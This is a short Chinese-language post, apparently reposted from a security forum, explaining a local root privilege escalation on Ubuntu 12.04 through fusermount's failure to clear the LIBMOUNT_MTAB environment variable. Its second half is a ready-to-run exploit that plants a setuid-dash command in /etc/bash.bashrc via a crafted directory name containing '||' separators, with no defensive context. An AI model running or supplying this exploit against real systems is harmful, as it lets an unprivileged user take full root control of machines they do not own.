Ubuntu Linux 12.04 LTS amd64系统本地root提权

时间:2022-06-25 17:02:57

URL:http://www.ichunqiu.com/section/173

由于fusermount二进制调用setuid的(geteuid())重置RUID时,它调用/bin/mount才能使用的特权挂载选项,通常是限制的。

但是,如果RUID!= euid ,ruid(实际用户ID,指的是进程执行者), euid( 有效用户ID,指进程执行时对文件的访问权限),在理论上fusermount可以消除参数以确保它的安全。然而,由于它认为这是被root用户权限调用,它允许通过环境变量进入调试模式, 不会管是否为安全的非特权用户和fusermount没有清的。因此当环境变量不清除时,调用RUID =0方式可以通过调试功能在/etc/mtab里设定LIBMOUNT_MTAB变量后,滥用覆盖任意文件。
EXP:
$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod /tmp/exploit
$ mkdir -p '/tmp/exploit||/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc _FUSE_COMMFD= fusermount '/tmp/exploit||/tmp/exploit'